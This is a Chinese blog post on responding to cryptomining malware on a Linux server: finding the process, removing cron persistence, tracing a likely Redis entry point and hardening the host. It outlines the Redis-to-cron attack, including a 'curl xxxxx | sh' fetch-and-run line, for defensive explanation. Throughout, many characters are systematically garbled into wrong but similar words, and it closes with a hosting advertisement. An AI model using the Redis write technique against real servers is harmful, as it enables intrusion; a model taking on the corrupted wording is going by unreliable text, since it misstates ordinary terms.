先说最优解: 服务器若是被挖矿了，倡议备份数据且重装系统。
所谓的挖矿是什么，这里暂不做解释了，有须要者能够自行百度或者必应，本篇文章次要讲述被攻打后该当如何做。
如何发现问题首先，挖矿程序是十分消耗cpu的，若你发现近期某台服务器，cpu使用率靠近于100%， 而失常状况下，机器cpu是没有用到这么多的，这个时候可能要留神了，能够应用如下命令，查问过程信息依照cpu排序。
命令:
ps aux | head -n 1 ; ps aux | sort -k 3 -rn | head咱们拆分一下命令来看是如何剖析的
ps aux | head -n 1是打印ps aux的标题栏。
而ps aux | sort -k 3 -rn | head是查问ps aux将依照第三列(sort -k 3 -rn)进行降序排序， 而最初的head是提取前10个后果。
能够寻找哪些不出名的过程，且占用率很高的，找到其过程后，能够应用PID定位到程序地位，如果在/tmp下等，个别是这类程序没跑了，那么如何分析程序地位呢？ 因为没有环境，所以咱们这边拿mysqld举例。
例如咱们查问到某个过程，感觉有问题，咱们想查问下该过程的门路
咱们先拿到pid值，当然这个命令，曾经跟了绝对路径哈，假如没有绝对路径，咱们能够应用lsof -p PID值查问，例如:
咱们找到fd为txt，查看其值，就是程序的门路。
删除还是禁止启动
咱们在拿到启动文件后，咱们大略有2种做法，其一是删除文件，其二是禁止该文件启动，也就是勾销该文件的执行权限，而二者有什么区别，别离在什么时候应用呢？ 咱们来逐个剖析下。
一般而言，像这类挖矿病毒程序，个别是周期性质的，其启动项不是定义在cron中的，就是执行的命令，那么咱们应该如何查找呢？
若是应用cron咱们能够查看下/var/spool/cron/目录中的文件，若是有异样工作，咱们能够将其进行掉，而后再杀掉挖矿过程，删除其源文件。
若是应用的命令，咱们该当如何查看呢，咱们能够应用ps axjf命令进行查看零碎下所有的过程，若是过程以while、for等循环结尾的，外部嵌套了curl等的命令，那多半是启动命令，也是将其停掉，而后杀掉挖矿过程，而后删除源文件即可。
ps ajxf是以树状构造来显示过程信息的。若是上述二者都没有找到，咱们能够先将文件可执行权限给拿掉，而后将文件锁起来，这个能够参考chattr命令。
追根溯源
在下面的剖析过程中，其实就能够开始追根溯源了，第一个点是看挖矿过程启动的用户，若是root，那就要请运维同学三思了，是不是启动某些服务是应用root启动的。
如果咱们发现挖矿过程，是以每个用户来启动的，例如: redis、php用户，这反倒好办了，咱们间接能够引发定位问题过程了，若是以root来启动的，绝对麻烦些，要靠猜才行了，咱们能够猜是redis引起的，而后逐渐去推理这个问题，如果一路推下去毫无拦截，那就是这个问题，若是有拦截，那咱们得换个角度持续猜，很多事实中的问题，就是考猜+重复验证解决的。
咱们举个例子
咱们发现零碎被挖矿了，而启动该过程的用户是root，咱们由此狐疑是通过redis进来的，咱们能够思考如下几个点，redis端口是否对外redis是否是弱口令如果确定了如上2项，咱们来看下个别是怎么通过redis进行攻打的呢？
个别状况下是暴力破解连上redis后，应用flushall清空命令，而后应用dir将其目录设置到cron文件处即: /var/spool/cron，再次批改filename的值为用户名称，再次flushall后，将命令(curl xxxxx | sh)写入redis应用save将其存储到磁盘中，至此，攻打完结。咱们能够顺着这个思路，进行递推，比方，查问redis日志等。如何避免咱们介绍了如上状况，那么咱们如何避免相似的状况产生呢？
这里给大家列举了几条措施权限最小化例如，启动redis就没必要应用root权限，而是应该新建一个redis用户，专门用以启动redis服务器，这样就算被攻打了，还不至于毁坏那么大，且被攻打后，很容易查问是哪个过程引起的。
正当利用防火墙3306、6379、27017等熟知的服务器端口，尽量给固定ip凋谢，而非0.0.0.0，这里提及一下明码复杂度，尽量设置的绝对于简单点。敞开不必要的插件这个次要是php服务，例如能够近程执行命令的插件等。
对php不是很相熟，然而它是被攻打的重灾区。
总结咱们这篇文章，能够大略剖析一些小问题了，其实最重要的是还是避免被攻打，这个取决于运维做事的态度，若是为了怕麻烦，而滥用权限，会导致重大的结果，最重要的，最重要的，被攻打后，尽量将数据备份进去，而后重装系统，这个才是上上之策，咱们发现问题，咱们也要吸取教训。当然你也能够抉择一些比拟靠谱的云服务器比方3A云服务。